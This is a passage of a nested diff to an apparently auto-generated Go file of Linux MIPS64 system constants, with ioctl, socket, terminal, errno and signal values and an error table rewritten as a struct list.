-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0xe
-+ F_GETLK64 = 0xe
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
